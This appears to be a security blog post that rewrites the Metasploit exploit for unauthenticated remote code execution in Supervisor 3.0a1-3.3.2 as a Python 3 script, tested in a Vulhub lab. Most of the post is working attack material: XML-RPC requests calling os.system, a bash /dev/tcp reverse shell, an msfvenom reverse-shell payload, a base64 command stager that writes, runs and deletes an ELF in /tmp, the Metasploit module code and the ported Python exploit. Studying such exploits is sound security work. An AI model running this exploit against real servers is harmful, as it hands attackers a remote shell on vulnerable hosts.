Ruby exploit rewrite – Supervisor 3.0a1 to 3.3.2 Unauthenticated RCE

Github repo here.

This was an interesting exploit. The vulnerable environment is provided by Vulhub here. It uses the familiar HttpClient library, and also the CmdStager library Metasploit has. What is a command stager? You’re probably familiar with staged and stageless payloads in msfvenom, whereby the latter just loads a smaller piece of code which calls back to the reverse shell listener to download the rest of the payload while the latter includes the entire reverse shell payload.

There’s an article here by Metasploit on what command stagers are and how to use them. But the code in the Supervisor Metasploit exploit didn’t explicitly specify the type of stager used, though tracing it with pry reveals that the Bourne command stager was used.

Understanding the POC

The Vulhub description include some instructions on how to do an RCE, basically sending a HTTP POST request to /RPC2 and enclose the remote command within the <string></string> tags like this

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

So I thought that’s pretty easy isn’t it? Couldn’t I just write a simple bash reverse shell there? Unfortunately it didn’t work.

POST /RPC2 HTTP/1.1
Host: 192.168.92.153:9001
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept-Encoding: gzip, deflate
Accept: text/xml
Connection: close
Content-Type: text/xml
Content-Length: 259

<?xml version="1.0"?>
<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>bash -i >&amp; /dev/tcp/192.168.92.134/4445 0>&amp;1</string>
    </param>
  </params>
</methodCall>

HTTP/1.1 200 OK
Date: Sat, 02 Nov 2019 07:59:30 GMT
Content-Length: 123
Content-Type: text/xml
Server: Medusa/1.12

<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><int>512</int></value>
</param>
</params>
</methodResponse>

Neither did the Python reverse shell here work, in case you’re wondering even though Python is installed in the container. A successful RCE response is supposed to return 0 like this, as captured in Burp.

POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept: text/xml
Content-Type: text/xml
Content-Length: 1259
Connection: close

<?xml version="1.0"?>
<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>echo -n ZWNobyAtbiBmMFZNUmdJQkFRQUFBQUFBQUFBQUFBSUFQZ0FCQUFBQWVBQkFBQUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFPQUFCQUFBQUFBQUFBQUVBQUFBSEFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUFBQXdnQUFBQUFBQUFBTUFRQUFBQUFBQUFBUUFBQUFBQUFBYWlsWW1Xb0NYMm9CWGc4RlNKZEl1UUlBRVZ6QXFGeUdVVWlKNW1vUVdtb3FXQThGYWdOZVNQL09haUZZRHdWMTltbzdXSmxJdXk5aWFXNHZjMmdBVTBpSjUxSlhTSW5tRHdVPT4+Jy90bXAvUFpKbUwuYjY0JyA7ICgod2hpY2ggYmFzZTY0ID4mMiAmJiBiYXNlNjQgLWQgLSkgfHwgKHdoaWNoIGJhc2U2NCA+JjIgJiYgYmFzZTY0IC0tZGVjb2RlIC0pIHx8ICh3aGljaCBvcGVuc3NsID4mMiAmJiBvcGVuc3NsIGVuYyAtZCAtQSAtYmFzZTY0IC1pbiAvZGV2L3N0ZGluKSB8fCAod2hpY2ggcHl0aG9uID4mMiAmJiBweXRob24gLWMgJ2ltcG9ydCBzeXMsIGJhc2U2NDsgcHJpbnQgYmFzZTY0LnN0YW5kYXJkX2I2NGRlY29kZShzeXMuc3RkaW4ucmVhZCgpKTsnKSB8fCAod2hpY2ggcGVybCA+JjIgJiYgcGVybCAtTU1JTUU6OkJhc2U2NCAtbmUgJ3ByaW50IGRlY29kZV9iYXNlNjQoJF8pJykpIDI+IC9kZXYvbnVsbCA+ICcvdG1wL2dwSnJYJyA8ICcvdG1wL1BaSm1MLmI2NCcgOyBjaG1vZCAreCAnL3RtcC9ncEpyWCcgOyAnL3RtcC9ncEpyWCcgOyBybSAtZiAnL3RtcC9ncEpyWCcgOyBybSAtZiAnL3RtcC9QWkptTC5iNjQn|base64 -d|nohup bash > /dev/null 2>&1 &</string>
    </param>
  </params>
</methodCall>

HTTP/1.1 200 OK
Date: Thu, 31 Oct 2019 13:36:10 GMT
Content-Length: 121
Content-Type: text/xml
Server: Medusa/1.12

<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><int>0</int></value>
</param>
</params>
</methodResponse>

This is where obfuscation comes in. Somehow the software must be screening the input to filter out potentially dangerous remote code. The cmd stager performs that task by dropping encoding the payload twice, the second time with a wrapper which writes the base64 encoded payload to /tmp, decodes it to binary and executes it. This will be clear later.

Metasploit demo

Let’s see how the exploit works in Metasploit before tracing the code

Module options (exploit/linux/http/supervisor_xmlrpc_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        Password for HTTP basic auth
   HttpUsername                   no        Username for HTTP basic auth
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.92.153   yes       The target address range or CIDR identifier
   RPORT         9001             yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /RPC2            yes       The path to the XML-RPC endpoint
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.92.134   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   3.0a1-3.3.2


msf5 exploit(linux/http/supervisor_xmlrpc_exec) > exploit

[*] Started reverse TCP handler on 192.168.92.134:4444 
[*] Sending XML-RPC payload via POST to 192.168.92.153:9001/RPC2
[*] Command Stager progress - 100.00% done (747/747 bytes)
[+] Request returned without status code, usually indicates success. Passing to handler..
[*] Command shell session 1 opened (192.168.92.134:4444 -> 192.168.92.153:55986) at 2019-11-02 17:12:05 +0800

whoami && ip a
nobody
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Tracing the exploit code

The Metasploit code is surprisingly sparse with much of the heavy lifting done by the command stager in other auxiliary functions. The main exploit function simply does this

def exploit

  res = execute_cmdstager(:linemax => 800)

  if res
    if res.code == 401
      fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
    elsif res.code == 404
      fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
    else
      fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
    end
  else
    print_good('Request returned without status code, usually indicates success. Passing to handler..')
    handler
  end

end

which in turn calls on this when execute_cmdstager is run

def execute_command(cmd, opts = {})
 
  # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
  # Credit to the following urls for the os.system() payload
  # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
  # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
  xml_payload = %{<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
  <param>
    <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
  </param>
</params>
</methodCall>}
 
  # Send the XML-RPC payload via POST to the specified endpoint
  endpoint_path = target_uri.path
  print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")
 
  params = {
    'method'        => 'POST',
    'uri'           => normalize_uri(endpoint_path),
    'ctype'         => 'text/xml',
    'headers'       => {'Accept' => 'text/xml'},
    'data'          => xml_payload,
    'encode_params' => false
  }
  if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
    print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
    params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
  end
  return send_request_cgi(params, timeout=5)
 
end

In between these auxiliary functions are called to generate the payload, base64 encode it, wrap a command stager around it then base64 encode it one more time.

  • /usr/share/metasploit-framework/lib/msf/util/exe.rb
  • /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/rex-exploitation-0.1.21/lib/rex/exploitation/cmdstager/bourne.rb
  • /usr/share/metasploit-framework/lib/msf/core/exploit/cmdstager.rb

Since these codes run into thousands of lines long (!) I won’t run through them, but instead articulate the general idea. To emulate the process we can start with an ELF payload with msfvenom

$ msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o payload.elf

This is then base64-encoded and inserted into a command stager

From: /usr/share/metasploit-framework/lib/msf/core/exploit/cmdstager.rb @ line 146 Msf::Exploit::CmdStager#generate_cmdstager:

    141:       opts[:payload_uri] = start_service(opts)
    142:     end
    143: 
    144:     cmd_list = stager_instance.generate(opts_with_decoder(opts))
    145: 
 => 146:     if cmd_list.nil? || cmd_list.length.zero?
    147:       raise ArgumentError, 'The command stager could not be generated'
    148:     end
    149: 
    150:     vprint_status("Generated command stager: #{cmd_list.inspect}")
    151: 

[50] pry(#<Msf::Modules::Exploit__Linux__Http__Supervisor_xmlrpc_exec::MetasploitModule>)> cmd_list
=> ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAA
AEAAAAAAAAAAQAAAAAAAwgAAAAAAAAAMAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAEVzAqFyGUUiJ5moQWmoqWA8FagNeSP/O
aiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU=>>'/tmp/qOAgD.b64' ; ((which base64 >&2 && base64 -d -) || 
(which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) 
|| (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') 
|| (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FlcBL' 
< '/tmp/qOAgD.b64' ; chmod +x '/tmp/FlcBL' ; '/tmp/FlcBL' ; rm -f '/tmp/FlcBL' ; rm -f '/tmp/qOAgD.b64'"]

Wow that sure is complicated but once broken down it appears a lot simpler. The base64-encoded ELF payload is evident but the Bash command stager needs some explanation. Note the use of ; here. It is used to sequentially execute commands like && except unlike && it doesn’t care if preceding commands are executed successfully.

I’ve broken the long Bash command stager up with explanation of what each line does.

# Echoes the base64-encoded payload.elf to /tmp/qOAgD.b64
echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAwgAAAAAAAAAMAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAEVzAqFyGUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU=>>'/tmp/qOAgD.b64' ; 
# Decodes /tmp/qOAgD.b64 to /tmp/FlcBL in every possible way (because we don't know in advance what utilities are installed on the target system)
((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FlcBL' < '/tmp/qOAgD.b64' ;
# Set to executable and run
chmod +x '/tmp/FlcBL' ; 
'/tmp/FlcBL' ; 
# Delete both base64-encoded payload and decoded payload
rm -f '/tmp/FlcBL' ; 
rm -f '/tmp/qOAgD.b64'

Right. Much simpler isn’t it? Now this stager with the base64-encoded payload.elf is returned to the execute_command then itself is base64-encoded in the xml_payload

xml_payload = %{<?xml version="1.0"?>
<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
    </param>
  </params>
</methodCall>}

We can see this by printing out the xml_payload

From: /usr/share/metasploit-framework/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @ line 135 Msf::Modules::Exploit__Linux__Http__Supervisor_xmlrpc_exec::MetasploitModule#execute_command:

    130:     </param>
    131:   </params>
    132: </methodCall>}
    133: 
    134:     # Send the XML-RPC payload via POST to the specified endpoint
 => 135:     endpoint_path = target_uri.path
    136:     print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")
    137: 
    138:     params = {
    139:       'method'        => 'POST',
    140:       'uri'           => normalize_uri(endpoint_path),

[98] pry(#<Msf::Modules::Exploit__Linux__Http__Supervisor_xmlrpc_exec::MetasploitModule>)> puts xml_payload
<?xml version="1.0"?>
<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>echo -n ZWNobyAtbiBmMFZNUmdJQkFRQUFBQUFBQUFBQUFBSUFQZ0FCQUFBQWVBQkFBQUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFPQUFCQUFBQUFBQUFBQUVBQUFBSEFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUFBQXdnQUFBQUFBQUFBTUFRQUFBQUFBQUFBUUFBQUFBQUFBYWlsWW1Xb0NYMm9CWGc4RlNKZEl1UUlBRVZ6QXFGeUdVVWlKNW1vUVdtb3FXQThGYWdOZVNQL09haUZZRHdWMTltbzdXSmxJdXk5aWFXNHZjMmdBVTBpSjUxSlhTSW5tRHdVPT4+Jy90bXAvcU9BZ0QuYjY0JyA7ICgod2hpY2ggYmFzZTY0ID4mMiAmJiBiYXNlNjQgLWQgLSkgfHwgKHdoaWNoIGJhc2U2NCA+JjIgJiYgYmFzZTY0IC0tZGVjb2RlIC0pIHx8ICh3aGljaCBvcGVuc3NsID4mMiAmJiBvcGVuc3NsIGVuYyAtZCAtQSAtYmFzZTY0IC1pbiAvZGV2L3N0ZGluKSB8fCAod2hpY2ggcHl0aG9uID4mMiAmJiBweXRob24gLWMgJ2ltcG9ydCBzeXMsIGJhc2U2NDsgcHJpbnQgYmFzZTY0LnN0YW5kYXJkX2I2NGRlY29kZShzeXMuc3RkaW4ucmVhZCgpKTsnKSB8fCAod2hpY2ggcGVybCA+JjIgJiYgcGVybCAtTU1JTUU6OkJhc2U2NCAtbmUgJ3ByaW50IGRlY29kZV9iYXNlNjQoJF8pJykpIDI+IC9kZXYvbnVsbCA+ICcvdG1wL0ZsY0JMJyA8ICcvdG1wL3FPQWdELmI2NCcgOyBjaG1vZCAreCAnL3RtcC9GbGNCTCcgOyAnL3RtcC9GbGNCTCcgOyBybSAtZiAnL3RtcC9GbGNCTCcgOyBybSAtZiAnL3RtcC9xT0FnRC5iNjQn|base64 -d|nohup bash > /dev/null 2>&1 &</string>
    </param>
  </params>
</methodCall>
=> nil

And that’s it. The equivalent of this in Python 3, where payload1 is payload.elf by msfvenom

payload1_64 = base64.b64encode(payload1)
 
# Random binary and b64 encoded binary for stager
p_load64 = randomString(3 + random.randrange(3)) + '.' + 'b64'
p_load = randomString(3 + random.randrange(3))
 
# Note that unlike in bash we don't have to escape $
# Also the f-string works only from Python 3.6
cmd_stager = "echo -n " + payload1_64.decode('utf-8') + f""">>'/tmp/{p_load64}' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/{p_load}' < '/tmp/{p_load64}' ; chmod +x '/tmp/{p_load}' ; '/tmp/{p_load}' ; rm -f '/tmp/{p_load}' ; rm -f '/tmp/{p_load64}'"""
 
# Base64 encode the cmd_stager itself and pass it to the XML input
payload2_64 = base64.b64encode(cmd_stager.encode()).decode('utf-8')
 
xml_body = f"""<?xml version="1.0"?>
<methodCall>
    <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
    <params>
        <param>
            <string>echo -n {payload2_64}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
        </param>
    </params>
</methodCall>"""

As explained in code comments, Python 3’s f-strings are really cool and allow use to insert variables into triply-quoted blocks of text. I started using them basically everywhere once I learned it 🙂

The remainder of the Python 3 ported code is writing the check function, which is basically just a regex parser checking that the Supervisor version is between 3.0a1 and 3.3.2 and a HTTP 200 code is returned. This code was translated line by line where possible from Ruby

def check(URL):
  print('Extracting version from web interface..')
  
  try:
    res = requests.get(URL,headers=hdrs)
  except requests.exceptions.ConnectionError:
    print('Error connecting to web interface')
    return False

  if res.status_code == 200:
    match = re.search('<span>(?P<version>\d+\.[\dab]\.\d+)<\/span>',res.text)
   
    if match:
      version = match.group('version')
    
      if check_version(version):
        print(f"Vulnerable version found: {version}")
        return True
      else:
        print(f"Version {version} is not vulnerable")
        return False

    else:
      print('Could not extract version number from web interface')
      return False
  
  elif res.status_code == 401:
    print(f"Authentication failed: {res.status_code} response")
    return False
  else:
    print(f"Unexpected HTTP code: {res.status_code} response")
    return False

Add in argparse, and randomly generated filenames for the payload and its base64-decoded variant and we’re done. Oh, you might be wondering why this exploit is ‘unauthenticated’. Well note that I didn’t use HttpPassword and HttpUsername above since no authentication is required and therefore couldn’t be traced to understand how that worked 🙂

References